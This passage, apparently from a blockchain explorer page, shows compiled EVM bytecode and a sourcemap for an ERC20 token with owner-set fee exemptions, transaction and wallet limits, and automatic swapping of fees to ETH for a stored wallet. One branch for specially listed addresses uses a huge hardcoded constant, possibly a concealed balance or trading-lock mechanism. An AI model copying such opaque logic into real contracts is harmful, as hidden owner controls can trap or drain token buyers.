b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bc85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610811565b6001600160a01b038216610c2a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610811565b6001600160a01b03831660009081526004602052604090205460ff16158015610c6c57506001600160a01b03821660009081526004602052604090205460ff16155b15610cd457601654811115610cd45760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610811565b600d5460ff61010082048116911610801590610cfa5750601a54600160a81b900460ff16155b8015610d145750601a546001600160a01b03848116911614155b8015610d295750601a54600160b01b900460ff165b15610d6857600d805460ff1916905530600090815260016020526040902054601654811115610d5757506016545b8015610d6657610d6681610eff565b505b6001600160a01b03821660009081526003602052604090205460ff16610dbf57601454610db482610dae856001600160a01b031660009081526001602052604090205490565b90610ef3565b1115610dbf57600080fd5b6001600160a01b03831660009081526005602052604090205460019060ff1680610e0157506001600160a01b03831660009081526005602052604090205460ff165b15610e7757506001600160a01b0382166000908152601b602052604081205460ff168015610e4a57506040805160208101909152600190819052601a54600160a01b900460ff16105b15610e7257604080516020810190915260019052601a805460ff60a01b1916600160a01b1790555b610eb5565b601a546001600160a01b0390811690851603610e9857600f54600e55610eb5565b601a546001600160a01b0390811690841603610eb557601054600e555b610ec184848484610f44565b50505050565b60008184841115610eeb5760405162461bcd60e51b815260040161081191906113dd565b505050900390565b6000610a9082846115a5565b601a805460ff60a81b1916600160a81b179055610f1b81610f9b565b6006544790610f33906001600160a01b0316826110f5565b5050601a805460ff60a81b19169055565b80610f5657610f51611130565b610f83565b600d805460ff16906000610f69836115b8565b91906101000a81548160ff021916908360ff160217905550505b610f8e848484611175565b80610ec157610ec1611302565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610fd057610fd061158f565b6001600160a01b03928316602091820292909201810191909152601854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611029573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104d91906115d7565b816001815181106110605761106061158f565b6001600160a01b0392831660209182029290920101526018546110869130911684610aa3565b60185460405163791ac94760e01b81526001600160a01b039091169063791ac947906110bf9085906000908690309042906004016115f4565b600060405180830381600087803b1580156110d957600080fd5b505af11580156110ed573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f1935050505015801561112b573d6000803e3d6000fd5b505050565b600e541580156111405750600f54155b801561114c5750601054155b1561115357565b600f805460125560108054601355600e80546011556000928390559082905555565b60008061118183611376565b6001600160a01b03871660009081526001602052604090205491935091506111a990846113ae565b6001600160a01b0386811660009081526001602090815260408083209490945583516060810185529288168385018190528252601b81529290205460ff16151591810182905290819061120c576040805160208101909152600090819052611249565b604080518082018252602080820187905282519081019092526d314dc6448d932a000000000000009182905290819061124590876113ae565b9052515b9052516001600160a01b03851660009081526001602052604090205461126f9084610ef3565b61127991906115a5565b6001600160a01b0385166000908152600160205260408082209290925530815220546112a59082610ef3565b3060009081526001602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b601154600e55601254600f5560408051606081018252601354818301819052815281516020808201909352601a549192830191819061134a90600160a01b900460ff166113ba565b9052519052601a54600160a01b900460ff166002811061136c5761136c61158f565b6020020151601055565b60008060006064600e548561138b9190611556565b611395919061156d565b905060006113a385836113ae565b959194509092505050565b6000610a908284611665565b600060405180602001604052808360636113d49190611665565b90525192915050565b600060208083528351808285015260005b8181101561140a578581018301518582016040015282016113ee565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461144057600080fd5b50565b6000806040838503121561145657600080fd5b82356114618161142b565b946020939093013593505050565b60008060006060848603121561148457600080fd5b833561148f8161142b565b9250602084013561149f8161142b565b929592945050506040919091013590565b6000602082840312156114c257600080fd5b8135610a908161142b565b600080604083850312156114e057600080fd5b82356114eb8161142b565b915060208301356114fb8161142b565b809150509250929050565b600181811c9082168061151a57607f821691505b60208210810361153a57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141761071657610716611540565b60008261158a57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b8082018082111561071657610716611540565b600060ff821660ff81036115ce576115ce611540565b60010192915050565b6000602082840312156115e957600080fd5b8151610a908161142b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116445784516001600160a01b03168352938301939183019160010161161f565b50506001600160a01b03969096166060850152505050608001529392505050565b818103818111156107165761071661154056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f59b4983958b34f25c43de00cdd6fa355c477989805b6647e9c7c7f443b55fa164736f6c63430008110033
Deployed Bytecode
0x6080604052600436106101f25760003560e01c80637d1db4a51161010d578063a9059cbb116100a0578063cbd8dc0a1161006f578063cbd8dc0a146105b2578063d28d8852146105c8578063dd62ed3e146105dd578063f1d6512e14610623578063f2fde38b1461065357600080fd5b8063a9059cbb14610547578063af465a2714610567578063b09f12661461057d578063c0a2526c1461059257600080fd5b8063a3b3bc07116100dc578063a3b3bc07146104a6578063a457c2d7146104d6578063a52a9e52146104f6578063a663a9da1461052657600080fd5b80637d1db4a51461042d5780638da5cb5b1461044357806395d89b411461046157806397f3a19e1461047657600080fd5b8063313ce567116101855780635a125cda116101545780635a125cda146103aa57806370a08231146103ca578063715018a61461040057806378109e541461041757600080fd5b8063313ce56714610323578063395093511461034957806349bd5a5e146103695780634a74bb021461038957600080fd5b806318160ddd116101c157806318160ddd146102ad5780631891201e146102cc578063220f6696146102e257806323b872dd1461030357600080fd5b806303fd2a45146101fe57806306fdde031461023b578063095ea7b31461025d5780631694505e1461028d57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b5060075461021e906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561024757600080fd5b50610250610673565b60405161023291906113dd565b34801561026957600080fd5b5061027d610278366004611443565b610705565b6040519015158152602001610232565b34801561029957600080fd5b5060185461021e906001600160a01b031681565b3480156102b957600080fd5b50600c545b604051908152602001610232565b3480156102d857600080fd5b506102be60105481565b3480156102ee57600080fd5b50601a5461027d90600160a81b900460ff1681565b34801561030f57600080fd5b5061027d61031e36600461146f565b61071c565b34801561032f57600080fd5b50600b5460ff165b60405160ff9091168152602001610232565b34801561035557600080fd5b5061027d610364366004611443565b610785565b34801561037557600080fd5b50601a5461021e906001600160a01b031681565b34801561039557600080fd5b50601a5461027d90600160b01b900460ff1681565b3480156103b657600080fd5b5060065461021e906001600160a01b031681565b3480156103d657600080fd5b506102be6103e53660046114b0565b6001600160a01b031660009081526001602052604090205490565b34801561040c57600080fd5b506104156107bb565b005b34801561042357600080fd5b506102be60145481565b34801561043957600080fd5b506102be60165481565b34801561044f57600080fd5b506000546001600160a01b031661021e565b34801561046d57600080fd5b50610250610864565b34801561048257600080fd5b5061027d6104913660046114b0565b60036020526000908152604090205460ff1681565b3480156104b257600080fd5b5061027d6104c13660046114b0565b60046020526000908152604090205460ff1681565b3480156104e257600080fd5b5061027d6104f1366004611443565b610873565b34801561050257600080fd5b5061027d6105113660046114b0565b601b6020526000908152604090205460ff1681565b34801561053257600080fd5b50601a5461033790600160a01b900460ff1681565b34801561055357600080fd5b5061027d610562366004611443565b6108c2565b34801561057357600080fd5b506102be600c5481565b34801561058957600080fd5b506102506108cf565b34801561059e57600080fd5b5060085461021e906001600160a01b031681565b3480156105be57600080fd5b506102be600f5481565b3480156105d457600080fd5b5061025061095d565b3480156105e957600080fd5b506102be6105f83660046114cd565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561062f57600080fd5b5061027d61063e3660046114b0565b60056020526000908152604090205460ff1681565b34801561065f57600080fd5b5061041561066e3660046114b0565b61096a565b60606009805461068290611506565b80601f01602080910402602001604051908101604052809291908181526020018280546106ae90611506565b80156106fb5780601f106106d0576101008083540402835291602001916106fb565b820191906000526020600020905b8154815290600101906020018083116106de57829003601f168201915b5050505050905090565b6000610712338484610aa3565b5060015b92915050565b6000610729848484610b64565b61077b843361077685604051806060016040528060288152602001611679602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610ec7565b610aa3565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916107129185906107769086610ef3565b6000546001600160a01b0316331461081a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060600a805461068290611506565b60006107123384610776856040518060600160405280602581526020016116a1602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610ec7565b6000610712338484610b64565b600a80546108dc90611506565b80601f016020809104026020016040519081016040528092919081815260200182805461090890611506565b80156109555780601f1061092a57610100808354040283529160200191610955565b820191906000526020600020905b81548152906001019060200180831161093857829003601f168201915b505050505081565b600980546108dc90611506565b6000546001600160a01b031633146109c45760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610811565b6001600160a01b038116610a295760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610811565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000610a908284611556565b9392505050565b6000610a90828461156d565b6001600160a01b03831615801590610ac357506001600160a01b03821615155b610b035760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b6044820152606401610811565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bc85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610811565b6001600160a01b038216610c2a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610811565b6001600160a01b03831660009081526004602052604090205460ff16158015610c6c57506001600160a01b03821660009081526004602052604090205460ff16155b15610cd457601654811115610cd45760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610811565b600d5460ff61010082048116911610801590610cfa5750601a54600160a81b900460ff16155b8015610d145750601a546001600160a01b03848116911614155b8015610d295750601a54600160b01b900460ff165b15610d6857600d805460ff1916905530600090815260016020526040902054601654811115610d5757506016545b8015610d6657610d6681610eff565b505b6001600160a01b03821660009081526003602052604090205460ff16610dbf57601454610db482610dae856001600160a01b031660009081526001602052604090205490565b90610ef3565b1115610dbf57600080fd5b6001600160a01b03831660009081526005602052604090205460019060ff1680610e0157506001600160a01b03831660009081526005602052604090205460ff165b15610e7757506001600160a01b0382166000908152601b602052604081205460ff168015610e4a57506040805160208101909152600190819052601a54600160a01b900460ff16105b15610e7257604080516020810190915260019052601a805460ff60a01b1916600160a01b1790555b610eb5565b601a546001600160a01b0390811690851603610e9857600f54600e55610eb5565b601a546001600160a01b0390811690841603610eb557601054600e555b610ec184848484610f44565b50505050565b60008184841115610eeb5760405162461bcd60e51b815260040161081191906113dd565b505050900390565b6000610a9082846115a5565b601a805460ff60a81b1916600160a81b179055610f1b81610f9b565b6006544790610f33906001600160a01b0316826110f5565b5050601a805460ff60a81b19169055565b80610f5657610f51611130565b610f83565b600d805460ff16906000610f69836115b8565b91906101000a81548160ff021916908360ff160217905550505b610f8e848484611175565b80610ec157610ec1611302565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610fd057610fd061158f565b6001600160a01b03928316602091820292909201810191909152601854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611029573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104d91906115d7565b816001815181106110605761106061158f565b6001600160a01b0392831660209182029290920101526018546110869130911684610aa3565b60185460405163791ac94760e01b81526001600160a01b039091169063791ac947906110bf9085906000908690309042906004016115f4565b600060405180830381600087803b1580156110d957600080fd5b505af11580156110ed573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f1935050505015801561112b573d6000803e3d6000fd5b505050565b600e541580156111405750600f54155b801561114c5750601054155b1561115357565b600f805460125560108054601355600e80546011556000928390559082905555565b60008061118183611376565b6001600160a01b03871660009081526001602052604090205491935091506111a990846113ae565b6001600160a01b0386811660009081526001602090815260408083209490945583516060810185529288168385018190528252601b81529290205460ff16151591810182905290819061120c576040805160208101909152600090819052611249565b604080518082018252602080820187905282519081019092526d314dc6448d932a000000000000009182905290819061124590876113ae565b9052515b9052516001600160a01b03851660009081526001602052604090205461126f9084610ef3565b61127991906115a5565b6001600160a01b0385166000908152600160205260408082209290925530815220546112a59082610ef3565b3060009081526001602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b601154600e55601254600f5560408051606081018252601354818301819052815281516020808201909352601a549192830191819061134a90600160a01b900460ff166113ba565b9052519052601a54600160a01b900460ff166002811061136c5761136c61158f565b6020020151601055565b60008060006064600e548561138b9190611556565b611395919061156d565b905060006113a385836113ae565b959194509092505050565b6000610a908284611665565b600060405180602001604052808360636113d49190611665565b90525192915050565b600060208083528351808285015260005b8181101561140a578581018301518582016040015282016113ee565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461144057600080fd5b50565b6000806040838503121561145657600080fd5b82356114618161142b565b946020939093013593505050565b60008060006060848603121561148457600080fd5b833561148f8161142b565b9250602084013561149f8161142b565b929592945050506040919091013590565b6000602082840312156114c257600080fd5b8135610a908161142b565b600080604083850312156114e057600080fd5b82356114eb8161142b565b915060208301356114fb8161142b565b809150509250929050565b600181811c9082168061151a57607f821691505b60208210810361153a57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141761071657610716611540565b60008261158a57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b8082018082111561071657610716611540565b600060ff821660ff81036115ce576115ce611540565b60010192915050565b6000602082840312156115e957600080fd5b8151610a908161142b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116445784516001600160a01b03168352938301939183019160010161161f565b50506001600160a01b03969096166060850152505050608001529392505050565b818103818111156107165761071661154056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f59b4983958b34f25c43de00cdd6fa355c477989805b6647e9c7c7f443b55fa164736f6c63430008110033
Deployed Bytecode Sourcemap
12157:9600:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12692:81;;;;;;;;;;-1:-1:-1;12692:81:0;;;;-1:-1:-1;;;;;12692:81:0;;;;;;-1:-1:-1;;;;;194:32:1;;;176:51;;164:2;149:18;12692:81:0;;;;;;;;15319:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;16152:161::-;;;;;;;;;;-1:-1:-1;16152:161:0;;;;;:::i;:::-;;:::i;:::-;;;1412:14:1;;1405:22;1387:41;;1375:2;1360:18;16152:161:0;1247:187:1;13646:41:0;;;;;;;;;;-1:-1:-1;13646:41:0;;;;-1:-1:-1;;;;;13646:41:0;;;15596:95;;;;;;;;;;-1:-1:-1;15676:7:0;;15596:95;;;1819:25:1;;;1807:2;1792:18;15596:95:0;1673:177:1;13187:29:0;;;;;;;;;;;;;;;;13801:28;;;;;;;;;;-1:-1:-1;13801:28:0;;;;-1:-1:-1;;;13801:28:0;;;;;;16321:313;;;;;;;;;;-1:-1:-1;16321:313:0;;;;;:::i;:::-;;:::i;15505:83::-;;;;;;;;;;-1:-1:-1;15571:9:0;;;;15505:83;;;2488:4:1;2476:17;;;2458:36;;2446:2;2431:18;15505:83:0;2316:184:1;16642:218:0;;;;;;;;;;-1:-1:-1;16642:218:0;;;;;:::i;:::-;;:::i;13725:28::-;;;;;;;;;;-1:-1:-1;13725:28:0;;;;-1:-1:-1;;;;;13725:28:0;;;13836:40;;;;;;;;;;-1:-1:-1;13836:40:0;;;;-1:-1:-1;;;13836:40:0;;;;;;12593:92;;;;;;;;;;-1:-1:-1;12593:92:0;;;;-1:-1:-1;;;;;12593:92:0;;;15699:119;;;;;;;;;;-1:-1:-1;15699:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;15792:18:0;15765:7;15792:18;;;:9;:18;;;;;;;15699:119;11743:148;;;;;;;;;;;;;:::i;:::-;;13396:56;;;;;;;;;;;;;;;;13525:53;;;;;;;;;;;;;;;;11514:87;;;;;;;;;;-1:-1:-1;11560:7:0;11587:6;-1:-1:-1;;;;;11587:6:0;11514:87;;15410;;;;;;;;;;;;;:::i;12413:54::-;;;;;;;;;;-1:-1:-1;12413:54:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;12474:50;;;;;;;;;;-1:-1:-1;12474:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;16868:269;;;;;;;;;;-1:-1:-1;16868:269:0;;;;;:::i;:::-;;:::i;13883:48::-;;;;;;;;;;-1:-1:-1;13883:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;13760:28;;;;;;;;;;-1:-1:-1;13760:28:0;;;;-1:-1:-1;;;13760:28:0;;;;;;15826:167;;;;;;;;;;-1:-1:-1;15826:167:0;;;;;:::i;:::-;;:::i;12984:49::-;;;;;;;;;;;;;;;;12912:31;;;;;;;;;;;;;:::i;12780:81::-;;;;;;;;;;-1:-1:-1;12780:81:0;;;;-1:-1:-1;;;;;12780:81:0;;;13152:28;;;;;;;;;;;;;;;;12870:35;;;;;;;;;;;;;:::i;16001:143::-;;;;;;;;;;-1:-1:-1;16001:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;16109:18:0;;;16082:7;16109:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;16001:143;12531:48;;;;;;;;;;-1:-1:-1;12531:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;11899:244;;;;;;;;;;-1:-1:-1;11899:244:0;;;;;:::i;:::-;;:::i;15319:83::-;15356:13;15389:5;15382:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15319:83;:::o;16152:161::-;16227:4;16244:39;3056:10;16267:7;16276:6;16244:8;:39::i;:::-;-1:-1:-1;16301:4:0;16152:161;;;;;:::o;16321:313::-;16419:4;16436:36;16446:6;16454:9;16465:6;16436:9;:36::i;:::-;16483:121;16492:6;3056:10;16514:89;16552:6;16514:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;16514:19:0;;;;;;:11;:19;;;;;;;;3056:10;16514:33;;;;;;;;;;:37;:89::i;:::-;16483:8;:121::i;:::-;-1:-1:-1;16622:4:0;16321:313;;;;;:::o;16642:218::-;3056:10;16730:4;16779:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;16779:34:0;;;;;;;;;;16730:4;;16747:83;;16770:7;;16779:50;;16818:10;16779:38;:50::i;11743:148::-;11560:7;11587:6;-1:-1:-1;;;;;11587:6:0;3056:10;11653:23;11645:68;;;;-1:-1:-1;;;11645:68:0;;3945:2:1;11645:68:0;;;3927:21:1;;;3964:18;;;3957:30;4023:34;4003:18;;;3996:62;4075:18;;11645:68:0;;;;;;;;;11850:1:::1;11834:6:::0;;11813:40:::1;::::0;-1:-1:-1;;;;;11834:6:0;;::::1;::::0;11813:40:::1;::::0;11850:1;;11813:40:::1;11881:1;11864:19:::0;;-1:-1:-1;;;;;;11864:19:0::1;::::0;;11743:148::o;15410:87::-;15449:13;15482:7;15475:14;;;;;:::i;16868:269::-;16961:4;16978:129;3056:10;17001:7;17010:96;17049:15;17010:96;;;;;;;;;;;;;;;;;3056:10;17010:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;17010:34:0;;;;;;;;;;;;:38;:96::i;15826:167::-;15904:4;15921:42;3056:10;15945:9;15956:6;15921:9;:42::i;12912:31::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;12870:35::-;;;;;;;:::i;11899:244::-;11560:7;11587:6;-1:-1:-1;;;;;11587:6:0;3056:10;11653:23;11645:68;;;;-1:-1:-1;;;11645:68:0;;3945:2:1;11645:68:0;;;3927:21:1;;;3964:18;;;3957:30;4023:34;4003:18;;;3996:62;4075:18;;11645:68:0;3743:356:1;11645:68:0;-1:-1:-1;;;;;11988:22:0;::::1;11980:73;;;::::0;-1:-1:-1;;;11980:73:0;;4306:2:1;11980:73:0::1;::::0;::::1;4288:21:1::0;4345:2;4325:18;;;4318:30;4384:34;4364:18;;;4357:62;-1:-1:-1;;;4435:18:1;;;4428:36;4481:19;;11980:73:0::1;4104:402:1::0;11980:73:0::1;12090:6;::::0;;12069:38:::1;::::0;-1:-1:-1;;;;;12069:38:0;;::::1;::::0;12090:6;::::1;::::0;12069:38:::1;::::0;::::1;12118:6;:17:::0;;-1:-1:-1;;;;;;12118:17:0::1;-1:-1:-1::0;;;;;12118:17:0;;;::::1;::::0;;;::::1;::::0;;11899:244::o;2291:98::-;2349:7;2376:5;2380:1;2376;:5;:::i;:::-;2369:12;2291:98;-1:-1:-1;;;2291:98:0:o;2401:::-;2459:7;2486:5;2490:1;2486;:5;:::i;17674:266::-;-1:-1:-1;;;;;17769:19:0;;;;;;:44;;-1:-1:-1;;;;;;17792:21:0;;;;17769:44;17761:74;;;;-1:-1:-1;;;17761:74:0;;5240:2:1;17761:74:0;;;5222:21:1;5279:2;5259:18;;;5252:30;-1:-1:-1;;;5298:18:1;;;5291:47;5355:18;;17761:74:0;5038:341:1;17761:74:0;-1:-1:-1;;;;;17846:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;17898:32;;1819:25:1;;;17898:32:0;;1792:18:1;17898:32:0;;;;;;;17674:266;;;:::o;17948:1561::-;-1:-1:-1;;;;;18082:18:0;;18074:68;;;;-1:-1:-1;;;18074:68:0;;5586:2:1;18074:68:0;;;5568:21:1;5625:2;5605:18;;;5598:30;5664:34;5644:18;;;5637:62;-1:-1:-1;;;5715:18:1;;;5708:35;5760:19;;18074:68:0;5384:401:1;18074:68:0;-1:-1:-1;;;;;18161:16:0;;18153:64;;;;-1:-1:-1;;;18153:64:0;;5992:2:1;18153:64:0;;;5974:21:1;6031:2;6011:18;;;6004:30;6070:34;6050:18;;;6043:62;-1:-1:-1;;;6121:18:1;;;6114:33;6164:19;;18153:64:0;5790:399:1;18153:64:0;-1:-1:-1;;;;;18234:23:0;;;;;;:17;:23;;;;;;;;18233:24;:60;;;;-1:-1:-1;;;;;;18272:21:0;;;;;;:17;:21;;;;;;;;18271:22;18233:60;18230:195;;;18356:12;;18318:6;:50;;18310:103;;;;-1:-1:-1;;;18310:103:0;;6396:2:1;18310:103:0;;;6378:21:1;6435:2;6415:18;;;6408:30;6474:34;6454:18;;;6447:62;-1:-1:-1;;;6525:18:1;;;6518:38;6573:19;;18310:103:0;6194:404:1;18310:103:0;18465:11;;;;;;;;18454:7;;:22;;;;:57;;-1:-1:-1;18495:16:0;;-1:-1:-1;;;18495:16:0;;;;18494:17;18454:57;:95;;;;-1:-1:-1;18536:13:0;;-1:-1:-1;;;;;18528:21:0;;;18536:13;;18528:21;;18454:95;:133;;;;-1:-1:-1;18566:21:0;;-1:-1:-1;;;18566:21:0;;;;18454:133;18437:497;;;18644:7;:11;;-1:-1:-1;;18644:11:0;;;18719:4;-1:-1:-1;15792:18:0;;;-1:-1:-1;15792:18:0;;;;;;18766:12;;18743:35;;18740:78;;;-1:-1:-1;18804:12:0;;18740:78;18835:24;;18832:91;;18875:36;18890:20;18875:14;:36::i;:::-;18613:321;18437:497;-1:-1:-1;;;;;18951:25:0;;;;;;:21;:25;;;;;;;;18947:84;;19015:15;;18986:25;19004:6;18986:13;18996:2;-1:-1:-1;;;;;15792:18:0;15765:7;15792:18;;;:9;:18;;;;;;;15699:119;18986:13;:17;;:25::i;:::-;:44;;18978:53;;;;;;-1:-1:-1;;;;;19082:21:0;;19044:16;19082:21;;;:15;:21;;;;;;19063:4;;19082:21;;;:44;;-1:-1:-1;;;;;;19107:19:0;;;;;;:15;:19;;;;;;;;19082:44;19078:361;;;-1:-1:-1;;;;;;19180:19:0;;19157:5;19180:19;;;:15;:19;;;;;;;;:45;;;;-1:-1:-1;19218:6:0;;;;;;;;;19219:1;19218:6;;;;19203:11;;-1:-1:-1;;;19203:11:0;;:22;:11;:22;19180:45;19177:76;;;19243:6;;;;;;;;;19244:1;19243:6;;19228:11;:22;;-1:-1:-1;;;;19228:22:0;-1:-1:-1;;;19228:22:0;;;19177:76;19078:361;;;19284:13;;-1:-1:-1;;;;;19284:13:0;;;19276:21;;;;19272:167;;19324:9;;19313:8;:20;19272:167;;;19365:13;;-1:-1:-1;;;;;19365:13:0;;;19359:19;;;;19355:84;;19409:10;;19398:8;:21;19355:84;19459:42;19474:4;19479:2;19482:6;19489:11;19459:14;:42::i;:::-;18051:1458;17948:1561;;;:::o;2507:206::-;2593:7;2654:12;2646:6;;;;2638:29;;;;-1:-1:-1;;;2638:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;2689:5:0;;;2507:206::o;2079:98::-;2137:7;2164:5;2168:1;2164;:5;:::i;19770:237::-;14174:16;:23;;-1:-1:-1;;;;14174:23:0;-1:-1:-1;;;14174:23:0;;;19855:38:::1;19872:20:::0;19855:16:::1;:38::i;:::-;19971:15;::::0;19926:21:::1;::::0;19958:41:::1;::::0;-1:-1:-1;;;;;19971:15:0::1;19926:21:::0;19958:12:::1;:41::i;:::-;-1:-1:-1::0;;14220:16:0;:24;;-1:-1:-1;;;;14220:24:0;;;19770:237::o;20501:346::-;20626:11;20622:109;;20653:12;:10;:12::i;:::-;20622:109;;;20706:7;:9;;;;;:7;:9;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;20622:109;20745:41;20760:6;20768:9;20779:6;20745:14;:41::i;:::-;20803:11;20799:40;;20829:10;:8;:10::i;20017:474::-;20109:16;;;20123:1;20109:16;;;;;;;;20085:21;;20109:16;;;;;;;;;;-1:-1:-1;20109:16:0;20085:40;;20154:4;20136;20141:1;20136:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;20136:23:0;;;:7;;;;;;;;;;:23;;;;20180:15;;:22;;;-1:-1:-1;;;20180:22:0;;;;:15;;;;;:20;;:22;;;;;20136:7;;20180:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;20170:4;20175:1;20170:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;20170:32:0;;;:7;;;;;;;;;:32;20245:15;;20213:62;;20230:4;;20245:15;20263:11;20213:8;:62::i;:::-;20286:15;;:197;;-1:-1:-1;;;20286:197:0;;-1:-1:-1;;;;;20286:15:0;;;;:66;;:197;;20367:11;;20286:15;;20410:4;;20437;;20457:15;;20286:197;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20072:419;20017:474;:::o;19519:120::-;19604:23;;-1:-1:-1;;;;;19604:15:0;;;:23;;;;;19620:6;;19604:23;;;;19620:6;19604:15;:23;;;;;;;;;;;;;;;;;;;;;19519:120;;:::o;17184:287::-;17228:8;;:13;:31;;;;-1:-1:-1;17245:9:0;;:14;17228:31;:50;;;;-1:-1:-1;17263:10:0;;:15;17228:50;17225:62;;;17184:287::o;17225:62::-;17312:9;;;17299:10;:22;17347:10;;;17333:11;:24;17381:8;;;17369:9;:20;-1:-1:-1;17400:13:0;;;;17424:14;;;;17449:12;17184:287::o;20855:615::-;20958:25;20985:19;21008:26;21019:14;21008:10;:26::i;:::-;-1:-1:-1;;;;;21065:17:0;;;;;;:9;:17;;;;;;20957:77;;-1:-1:-1;20957:77:0;-1:-1:-1;21065:37:0;;21087:14;21065:21;:37::i;:::-;-1:-1:-1;;;;;21045:17:0;;;;;;;:9;:17;;;;;;;;:57;;;;21182:139;;21203:14;;;;;;;;21185:37;;;21203:14;;;21186:32;;:15;:32;;;;;;;;21185:37;;21182:139;;;21185:37;;;21182:139;;;21184:130;;21308:6;;;;;;;;;-1:-1:-1;21308:6:0;;;;21184:130;;;21226:79;;;21277:22;;;;;21226:79;